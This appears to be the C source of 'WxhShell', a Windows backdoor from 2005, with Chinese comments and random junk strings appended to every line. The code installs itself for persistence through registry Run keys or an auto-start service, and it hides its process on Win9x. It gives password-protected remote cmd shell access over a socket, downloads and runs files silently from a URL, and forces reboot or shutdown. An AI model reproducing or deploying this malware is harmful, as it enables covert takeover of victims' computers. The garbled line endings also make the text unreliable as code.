    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &3u* zV$  
    else { Yt|{l  
    closesocket(wsh); v{%2`_c  
    ExitThread(0); kP [ Y  
    } 4AP<mo  
    break; F}sfk}rp  
    } [0J0<JnK  
  // 获取shell DVpqm6$ Q  
  case 's': { y#x]?%m  
    CmdShell(wsh); Dm4\Rld{  
    closesocket(wsh); 8dL(cC  
    ExitThread(0); A1YIPrav(  
    break; z&-3H/   
  } @x{;a9y  
  // 退出 "]JS,g {m  
  case 'x': { )0UQy#r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O"Xjv`j:  
    CloseIt(wsh); @Vb-BC,  
    break; B3I< $  
    } j\Q_NevV  
  // 离开 3!*J;Y  
  case 'q': { o ue;$8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I.(/j  
    closesocket(wsh); CZbp}:|  
    WSACleanup(); :L\@+}{(c  
    exit(1); L\n_q6n  
    break; 6.K)uQgjmv  
        } vk[Km[(U'  
  } @$~%C) %u  
  } jfgAI7;b  
$vc:u6I[  
  // 提示信息 JsiJ=zo<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \idg[&}l}  
} le8n!Dk(  
  } eb+[=nmP  
K3\U'bRO  
  return; L TO1LAac  
} Lww0LH >  
wcV~z:&^5  
// shell模块句柄 Soop)e  
int CmdShell(SOCKET sock) 501|Y6ptl  
{ AZtZa'hbkQ  
STARTUPINFO si; &|gn%<^  
ZeroMemory(&si,sizeof(si)); $Cf_RFH0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uWMAXGL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v}[7)oj|  
PROCESS_INFORMATION ProcessInfo; ot,<iE#za  
char cmdline[]="cmd"; nP_s+k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JO1c9NyKr  
  return 0; xT=|Uc0  
} w3yI;P  
9Y-s],2V  
// 自身启动模式 Ym!Ia&n  
int StartFromService(void) vw+ @'+  
{ nc l-VN  
typedef struct FtY*I&  
{ ~W`upx)j  
  DWORD ExitStatus; SD JAk&Z}R  
  DWORD PebBaseAddress; >Wy@J]Y#  
  DWORD AffinityMask; IURi90Ir  
  DWORD BasePriority; =DF7l<&km  
  ULONG UniqueProcessId; [n66ZY#U]  
  ULONG InheritedFromUniqueProcessId; (5'qEi ea  
}   PROCESS_BASIC_INFORMATION; #PtV=Ee1  
,hX03P-X  
PROCNTQSIP NtQueryInformationProcess; J6::(0HM  
HfmTk5|/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L6U[H#3(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xt40hZ$  
Oja)J-QXb  
  HANDLE             hProcess; tQUp1i{j\  
  PROCESS_BASIC_INFORMATION pbi; G~YV6??  
HH[?LKd<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3pq&TYQU  
  if(NULL == hInst ) return 0; ~fQ#-ekzqk  
cV)C:!W2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); # {!Qf\1M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }4ta#T Ea  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); | F: ?  
]36R_Dp  
  if (!NtQueryInformationProcess) return 0; TQbhK^]  
&.Yh_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U7 Z_  
  if(!hProcess) return 0; +mV4Ty  
knF *~O :y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #CVD:p  
uKtrG,/ p  
  CloseHandle(hProcess); 875V{fvPBU  
rWSw1(sAA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VU)ywIs  
if(hProcess==NULL) return 0; >#c]rk:  
,/JrQWgD  
HMODULE hMod; xae}8E   
char procName[255]; RI cA)I.  
unsigned long cbNeeded; zneK)C8&q3  
 :E'38~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \+S~N:@><k  
}%_x T  
  CloseHandle(hProcess); ?u 9) GJO[  
t</Kel|D  
if(strstr(procName,"services")) return 1; // 以服务启动 "S)4Cjk  
RQ9T<t42  
  return 0; // 注册表启动 9k2HP]8=[{  
} <[[DS%(M^  
&~^"yo#b  
// 主模块 >l 'QX(  
int StartWxhshell(LPSTR lpCmdLine) _Z5l Nu  
{ uVOOw&q_  
  SOCKET wsl; 0.|tKetHq  
BOOL val=TRUE; sDWX} NV  
  int port=0; _vvnxG!x&  
  struct sockaddr_in door; h^34{pKDn  
hRGK W  
  if(wscfg.ws_autoins) Install(); c9i CH~  
#). om*Xh  
port=atoi(lpCmdLine); <;SMczR  
Alh%Z\  
if(port<=0) port=wscfg.ws_port; 3vmLftZE}  
$ShL^g@  
  WSADATA data; -\AB!#fh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $7M64K{  
U}7$:hO"dX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8R8J./i.K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -Qqb/y  
  door.sin_family = AF_INET; g#5g0UP)V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z4bN|\I  
  door.sin_port = htons(port); GEIMCg(TRj  
A CJmy2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "t`r_Aw  
closesocket(wsl); "uqa~R{  
return 1; u.8vXc  
} )d0&iE`@  
#j iQa"  
  if(listen(wsl,2) == INVALID_SOCKET) { c3i|q@ k  
closesocket(wsl); e +4p__TmZ  
return 1; ^/mQo`[G  
} LQNu]2  
  Wxhshell(wsl); m7^a4  
  WSACleanup(); g|e^}voRM  
`=b*g24z[N  
return 0; :#I8Cf  
cd*y{Wt  
} $* 8c0.{U  
;^O^&<  
// 以NT服务方式启动 09%q/-$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dg/7?gV  
{ Z(*n ZT,  
DWORD   status = 0; bHWy9-  
  DWORD   specificError = 0xfffffff; X#1So.}c  
}B^s!y&b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZEUd?"gaR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :a#]"z0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fZxZ):7i  
  serviceStatus.dwWin32ExitCode     = 0; ?2_u/x  
  serviceStatus.dwServiceSpecificExitCode = 0; tNmH*"wR<  
  serviceStatus.dwCheckPoint       = 0; KW^s~j  
  serviceStatus.dwWaitHint       = 0; -(Taj[;[  
i LK8Wnrq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l yO_rZT  
  if (hServiceStatusHandle==0) return; B2WPjhzD  
zZki9P   
status = GetLastError(); hH )jX`Ta  
  if (status!=NO_ERROR) Q gDjc '  
{ PFUb\AY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~ E>D0o  
    serviceStatus.dwCheckPoint       = 0; k;;?3)!  
    serviceStatus.dwWaitHint       = 0; zUIh8cAoE  
    serviceStatus.dwWin32ExitCode     = status; Z UAWSJ,s  
    serviceStatus.dwServiceSpecificExitCode = specificError; sB-c'`,w`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0ydAdgD  
    return; eey <:n/Z  
  } #e+%;5\  
&Mo=V4i>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Nd^9.6,JU  
  serviceStatus.dwCheckPoint       = 0; '1=/G7g  
  serviceStatus.dwWaitHint       = 0; 0f;L!.eP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  @*%Q,$  
} ZRD* ^9)  
CHN!o9f  
// 处理NT服务事件,比如:启动、停止 9SC#N 5V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^X[Kr=:Jp  
{ 3=T<c?[  
switch(fdwControl) N$p}rh#7{  
{ i*W8_C:S  
case SERVICE_CONTROL_STOP: w v9s{I{P  
  serviceStatus.dwWin32ExitCode = 0; e%(zjCA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~9h6"0K!  
  serviceStatus.dwCheckPoint   = 0; XrFyN(p  
  serviceStatus.dwWaitHint     = 0; XuoI19V[  
  { `lN1u'(:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8Tt2T} Y  
  } dZ`nv[]k~  
  return; u2JkPh&!rq  
case SERVICE_CONTROL_PAUSE: X[h=UlF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TjgX' j  
  break; z})H$]:$  
case SERVICE_CONTROL_CONTINUE: 1g2%f9G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7&'^H8V  
  break; )1~4Tl,S  
case SERVICE_CONTROL_INTERROGATE: kH-1l>":  
  break; j3Cpo x  
}; ]$y"|xqR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J j yQ  
} \EUc17  
g] X4)e]  
// 标准应用程序主函数 oel3H5Nz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _o' jy^  
{ Y]&H U) u  
0*B_$E06  
// 获取操作系统版本 (.<Gde#  
OsIsNt=GetOsVer(); e`<=& w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $M$oNOT}Y  
wf6ZzG:  
  // 从命令行安装 @>(l}5U5  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1S  0GjR  
,;GW n  
  // 下载执行文件 @DU]XKv  
if(wscfg.ws_downexe) { O 4l[4,`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _d A-{  
  WinExec(wscfg.ws_filenam,SW_HIDE); =WJ*$j(  
} az F"tke  
oopTo51,a  
if(!OsIsNt) { $T1 D ?X  
// 如果时win9x,隐藏进程并且设置为注册表启动 $-5iwZ  
HideProc(); 8^c|9ow  
StartWxhshell(lpCmdLine); \1aj!)  
} VskyRxfdW3  
else xg. d)n  
  if(StartFromService()) 1a/@eqF''  
  // 以服务方式启动 |~8iNcIS  
  StartServiceCtrlDispatcher(DispatchTable); ~Jp\'P7*  
else 8 E.u3eS  
  // 普通方式启动 ]*sXISg1  
  StartWxhshell(lpCmdLine); sJt&`kZ  
|Wi$@sWO  
return 0; 1,,o_e\nn3  
} TcO@q ]+S  
p?0 a"5Q  
ToDNBt.u{+  
yY`<t  
=========================================== jVi''#F?f  
UMx>n18;f9  
'n)M0e  
<3Co/.VQd  
Uu }ai."iB  
~WR6rc  
" afG b}8 Q9  
9t7_7{Q+;  
#include <stdio.h> r\ ` R$  
#include <string.h> -[0)n{AVvU  
#include <windows.h> ]*[S# Jk  
#include <winsock2.h> 3$(1LN  
#include <winsvc.h> E-.M+[   
#include <urlmon.h> 'S@h._q  
QmbD%kW`3  
#pragma comment (lib, "Ws2_32.lib") b==<7[8  
#pragma comment (lib, "urlmon.lib") 7!Ym~M=  
o LuGW5wzj  
#define MAX_USER   100 // 最大客户端连接数 *1Nz VV  
#define BUF_SOCK   200 // sock buffer 5c3 )p^ ]g  
#define KEY_BUFF   255 // 输入 buffer C1r]kF  
v(h   
#define REBOOT     0   // 重启 E"pq ZP =  
#define SHUTDOWN   1   // 关机 \qNj?;B  
,F6i5128{  
#define DEF_PORT   5000 // 监听端口 l')?w]|  
kX+y2v(2++  
#define REG_LEN     16   // 注册表键长度 i^Ep[3  
#define SVC_LEN     80   // NT服务名长度 v)okVyv  
wEQV"I  
// 从dll定义API Co[  rhs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B07(15y]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gqyQ Zew  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %I&Hx<H j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0)yvyQ5  
nd'zO#"m?  
// wxhshell配置信息 Vyu0OiGcR  
struct WSCFG { h+t{z"Ic=  
  int ws_port;         // 监听端口 x_2 [+Ol  
  char ws_passstr[REG_LEN]; // 口令 5~aSkg,MD  
  int ws_autoins;       // 安装标记, 1=yes 0=no oPo<F5M]d%  
  char ws_regname[REG_LEN]; // 注册表键名  x)THeH@  
  char ws_svcname[REG_LEN]; // 服务名 M=`F $  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FUvZMA$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `fY~Lv{4d_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 psgXJe$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no I/pavh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9~ K 1+%!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -P(q<T2MV'  
eaYQyMv@  
}; M-T&K% /lW  
Nyow:7p  
// default Wxhshell configuration &>*f J  
struct WSCFG wscfg={DEF_PORT, wu/]M~XwI  
    "xuhuanlingzhe", |9~{&<^X  
    1, F1w~f <  
    "Wxhshell", jiC;*]n  
    "Wxhshell", daGGgSbh  
            "WxhShell Service", %fJ*Ql4M  
    "Wrsky Windows CmdShell Service", \m*?5]m ;  
    "Please Input Your Password: ", P7 H-Dw  
  1, jxZ R%D  
  "http://www.wrsky.com/wxhshell.exe", b@/z^k{%  
  "Wxhshell.exe" ?VCb@&*  
    }; ]Tx8ImD#)A  
VbKky1a@  
// 消息定义模块 mxGa\{D# y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -KCm#!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bo0m/hVU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j42U|CuK  
char *msg_ws_ext="\n\rExit."; ) e;)9~  
char *msg_ws_end="\n\rQuit."; z,X ^;  
char *msg_ws_boot="\n\rReboot..."; PfF7*}P  
char *msg_ws_poff="\n\rShutdown..."; UyEyk$6SU  
char *msg_ws_down="\n\rSave to "; N6Vn/7I5%  
6AUXYbK,  
char *msg_ws_err="\n\rErr!"; XB50>??NE  
char *msg_ws_ok="\n\rOK!"; iVFHr<zk  
o'D{ql  
char ExeFile[MAX_PATH]; ,*bI0mFZ  
int nUser = 0; ^7.864  
HANDLE handles[MAX_USER]; [NQ`S ~_:  
int OsIsNt; .B6$U>>NS^  
_^0yE_ili  
SERVICE_STATUS       serviceStatus; 5owUQg,W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q/1 6D  
M$FQoRwH  
// 函数声明 OzA"i y  
int Install(void); U~s&}M\n  
int Uninstall(void); V`l.F"<L  
int DownloadFile(char *sURL, SOCKET wsh); v,KH2 (N  
int Boot(int flag); M9 fAv  
void HideProc(void); rPv+eM" >  
int GetOsVer(void); #hH"g  
int Wxhshell(SOCKET wsl); `N_NzH  
void TalkWithClient(void *cs); o/CSIvz1  
int CmdShell(SOCKET sock); ;Tvy)*{  
int StartFromService(void); oi::/W|A+  
int StartWxhshell(LPSTR lpCmdLine); p6A"_b^  
ZgcA[P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "6gu6f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )z=`,\&p:  
S=0zP36kH:  
// 数据结构和表定义 ;k9s@e#a  
SERVICE_TABLE_ENTRY DispatchTable[] = ]RML;]^  
{ _o8il3  
{wscfg.ws_svcname, NTServiceMain}, yLW iY~Fd  
{NULL, NULL} Vx~[;*{,C9  
}; #?@k=e\  
ZcYxH|Gn  
// 自我安装 i jg'X#E  
int Install(void) $83TA> <a  
{ OU]!2[7c  
  char svExeFile[MAX_PATH]; so9h6K{qcp  
  HKEY key; W&;X+XA_W  
  strcpy(svExeFile,ExeFile); S_y!4;]ox  
3G~ T_J&  
// 如果是win9x系统,修改注册表设为自启动 B;SYO>.W  
if(!OsIsNt) { PxM]3Aoa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0mF3Vs`-Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IMmoq={ (z  
  RegCloseKey(key); ;4z6="<Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &\F`M|c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g|9' Lk  
  RegCloseKey(key); ((SN We  
  return 0; 2~<?E`+  
    } LR@rn2Z  
  } -|~6Zf"  
} DDwH9*  
else { 4l@*x^F  
G[)Ll=  
// 如果是NT以上系统,安装为系统服务 Ep|W>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aW$sd)  
if (schSCManager!=0) a<kx95  
{ .8<bz4  
  SC_HANDLE schService = CreateService V44IA[  
  ( w6F4o;<PR  
  schSCManager, q=M!YWz  
  wscfg.ws_svcname, S#/[>Cb  
  wscfg.ws_svcdisp, ^cz #PNB  
  SERVICE_ALL_ACCESS, 'gxSHqeI2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ULIbVy7Y  
  SERVICE_AUTO_START, frWw-<HoI  
  SERVICE_ERROR_NORMAL, 4N[8LC;MH  
  svExeFile, q~^Jd=cB\  
  NULL, bJ*jJl x  
  NULL, GPy+\P`  
  NULL, f]tc$`vb  
  NULL, _8vq]|rC  
  NULL :EJ+#  
  ); V:4]]z L}  
  if (schService!=0) y Rr,+>W  
  { )[|`-M~u  
  CloseServiceHandle(schService); G1K5J`"*  
  CloseServiceHandle(schSCManager); X-|Lg.s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z 7rVM   
  strcat(svExeFile,wscfg.ws_svcname); C:\BvPoO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~e~iCyW;S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); byR|L:L  
  RegCloseKey(key); 4eMNKIsvY$  
  return 0; 9+)5#!0  
    } aF7" 4^P  
  } IGeXj%e  
  CloseServiceHandle(schSCManager); f7c%Z:C#Y  
} cY  ^>`  
} paF$ o6\  
2 1.;lj  
return 1; y#!8S{  
} HP}d`C5<R  
Nih8(pbe  
// 自我卸载 6}ct{Q  
int Uninstall(void) QCIH1\`jW  
{ %e.tAl"!$  
  HKEY key; "a %5on  
k\8]fh)J\7  
if(!OsIsNt) { ln-+=jk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {x{e?c!  
  RegDeleteValue(key,wscfg.ws_regname); FGo{6'K(:  
  RegCloseKey(key); U6;,<-bL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bx`s;r=  
  RegDeleteValue(key,wscfg.ws_regname); tn&~~G~#  
  RegCloseKey(key); 8x#SpDI  
  return 0; O>9+ tQ  
  } f'` QW@U  
} )F Q '^  
} B~K@o.%  
else { 1|_jV7`Mz  
jHBzZ!<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r8x<- u4  
if (schSCManager!=0) x?v/|  
{ Z+! ._uA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0\*[7!`s  
  if (schService!=0) sDA&U9;  
  { .\K0+b;  
  if(DeleteService(schService)!=0) { #/a>dK  
  CloseServiceHandle(schService); 4jMC E&<  
  CloseServiceHandle(schSCManager); T{-<G13  
  return 0; kXK D>."E*  
  } qT7E"|.$  
  CloseServiceHandle(schService); *Y8nea^$  
  } T|RW-i3  
  CloseServiceHandle(schSCManager); w7aC=B/{?i  
} <2@V$$Qg.~  
} < 3i2(k  
Khp`KPxz%  
return 1; .21[3.bp/q  
} !?!~8J~  
w64/$  
// 从指定url下载文件 YTP6m9hA+  
int DownloadFile(char *sURL, SOCKET wsh) &o@IMbJ8  
{ :%-xiv  
  HRESULT hr; *\ZK(/V  
char seps[]= "/"; xV@/z5Tq  
char *token; R3=PV{`M  
char *file; ?Ho~6q8O@  
char myURL[MAX_PATH]; Gzy"$t  
char myFILE[MAX_PATH]; 7@iyO7U  
`(NMHXgG+  
strcpy(myURL,sURL); Kgh@.Ir  
  token=strtok(myURL,seps); zSt6q  
  while(token!=NULL) _ T ;+*  
  { (ns> z7  
    file=token; Hq=5/N  
  token=strtok(NULL,seps); %6c[\ubr  
  } sswYwU  
Bs7/<$9K/  
GetCurrentDirectory(MAX_PATH,myFILE); mT  enzIp  
strcat(myFILE, "\\"); Z#w@ /!"}T  
strcat(myFILE, file); :Z rE/3_S  
  send(wsh,myFILE,strlen(myFILE),0); zq\YZ:JC  
send(wsh,"...",3,0); Xi vzhI4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V}de|=  
  if(hr==S_OK) 5>{  
return 0; cZ>h[XX[  
else o9&&u1`M/  
return 1; hes$LH  
<*I%U]  
} ?}<4LK]  
ipy1tXc  
// 系统电源模块 Qry?h*p+`  
int Boot(int flag) Wl!|+-  
{ ;#c=0*.  
  HANDLE hToken; OX|nYTp  
  TOKEN_PRIVILEGES tkp; L O)&|9xw  
;oL`fQyr  
  if(OsIsNt) {  0Bbno9Yp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6%N.'wf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Lckb*/jV&  
    tkp.PrivilegeCount = 1; |j3fS[.$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k4WUfL d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L{XNOf3  
if(flag==REBOOT) { rO#WG}E<"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zW[fHa$m  
  return 0; ~%)ug3%e  
} MBlh lMyI  
else { ME'hN->c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w=]id'`?q  
  return 0; yffg_^fR  
} @0js=3!2  
  } 19V  
  else { H\W/;Nn  
if(flag==REBOOT) { 9UF^h{X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %=C49(/K_  
  return 0; e6O+hC]:  
} !yxb=>A  
else { k;aV4 0N9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ++b1VBP  
  return 0; p%MH**A  
} /"$A?}V  
} ?"23XKe  
+ Xc s<+b  
return 1; VG,O+I'^z  
} |Dz$OZP  
u7L!&/6On  
// win9x进程隐藏模块 >\J({/ #O  
void HideProc(void) O+ ].'  
{ Pr|:nJs  
oaxCcB=\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k{M4.a[(  
  if ( hKernel != NULL ) G.#`DaP  
  { x+1Cs$E;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W ='c+3O6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;S,k U{F  
    FreeLibrary(hKernel); {& Pk$Q!  
  } #ZFedK0vv  
 ]I pLF#  
return; Y`secUg  
} 3}U {~l!K  
?ks3K-.4  
// 获取操作系统版本 #2&DDy)B f  
int GetOsVer(void) M}jF-z  
{ f8Z[prfP  
  OSVERSIONINFO winfo; V_)G=#6Dy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (+M]C]  
  GetVersionEx(&winfo); >j&+mii  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  _tl  
  return 1; 6I5,PB  
  else H83Gx;  
  return 0; *OoM[wEY  
} W Z!?O0.A  
gG^A6Ol%D  
// 客户端句柄模块 Zq,[se'nh"  
int Wxhshell(SOCKET wsl) d<x7* OW)  
{ n+ot. -  
  SOCKET wsh; rt5FecX\  
  struct sockaddr_in client; c,wYXnJ_t  
  DWORD myID; &Nzq/~uqP  
NI^=cN,l  
  while(nUser<MAX_USER) |@Cx%aEKU  
{ zk#NM"C+  
  int nSize=sizeof(client); ~ 9 F rlj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |$hBYw  
  if(wsh==INVALID_SOCKET) return 1; k/U1 :9  
WAd5,RZ?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ib8*rL0p<L  
if(handles[nUser]==0) {=Z xF  
  closesocket(wsh); >v sy P  
else B~\mr{|u  
  nUser++; Rw j4  
  } Nft~UggK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G=1&:nW'  
>M2~BDZ  
  return 0; 7yUtG^'b  
} U,;a+z4\  
wW. V>$q  
// 关闭 socket 1=*QMEv1G  
void CloseIt(SOCKET wsh) ]2Vu+AP  
{ Z$a5vu*pg  
closesocket(wsh); {~L{FG)O  
nUser--; ;7;=)/-  
ExitThread(0); +-s$Htx  
} eUY/H1  
{ :^;byd  
// 客户端请求句柄 ~2HlAU))<&  
void TalkWithClient(void *cs)  BVJ6U[h`  
{ 5mtsN#  
zCpsGr  
  SOCKET wsh=(SOCKET)cs; ,sa%u Fm  
  char pwd[SVC_LEN]; -[h2fqu1  
  char cmd[KEY_BUFF]; YI877T9>  
char chr[1]; <l#|I'hP  
int i,j; Lo<-;;vQ  
vZ&{   
  while (nUser < MAX_USER) { ZmXO3,sf)  
jyLE  
if(wscfg.ws_passstr) { &1!T@^56  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FV 0x/)<z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9a$\l2  
  //ZeroMemory(pwd,KEY_BUFF); C>}@"eK  
      i=0; Q+ i  
  while(i<SVC_LEN) { z(o zMH  
&d%0[Ui`  
  // 设置超时 x>C_O\  
  fd_set FdRead; g-4m.;  
  struct timeval TimeOut; /i[1$/*  
  FD_ZERO(&FdRead); b6]MJ0do  
  FD_SET(wsh,&FdRead); 3dl#:Si  
  TimeOut.tv_sec=8; ?3duW$`  
  TimeOut.tv_usec=0; B.Szp_$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l?f%2:}m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XCN^>ToD  
SV?^i`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y&![2o.Q  
  pwd=chr[0]; spX*e1  
  if(chr[0]==0xd || chr[0]==0xa) { .kl.awT  
  pwd=0; # $N)  
  break; uV|%idC  
  } /QgU!:e  
  i++; 1M={8}3  
    } qV7F=1k]  
Vf V|fuW  
  // 如果是非法用户,关闭 socket  cFV)zFu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;Xr|['\'  
} u&E$(  
:j<ij]rsI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ic<J]+Xq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8kRqF?rbj  
{:%A  
while(1) { #Wf9`  
j%q,]HCANh  
  ZeroMemory(cmd,KEY_BUFF); u)hr  
f[XsnN2  
      // 自动支持客户端 telnet标准   e I^Q!b8n  
  j=0; aioN)V  
  while(j<KEY_BUFF) { SjmWlf,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2[V9`r8*  
  cmd[j]=chr[0]; qQ{i2D%)?f  
  if(chr[0]==0xa || chr[0]==0xd) { +YX *.dW  
  cmd[j]=0; xY=%+o.?*  
  break; LQo>wl  
  } xQ]^wT.Q  
  j++; #~JR_oQE!  
    } ^&|KuI+ u  
c %f'rj  
  // 下载文件 v PJ=~*P=  
  if(strstr(cmd,"http://")) { 1y{@fg~..  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y@'~fI!E4  
  if(DownloadFile(cmd,wsh)) ,,Ia4c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bT8 ?(Iu  
  else \'>8 (i~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rf4}4ixkj  
  } Kqn{q4L  
  else { 9*ek5vPB  
tsWzM9Yf  
    switch(cmd[0]) { !uxma~ZH-  
  A.|98*U%  
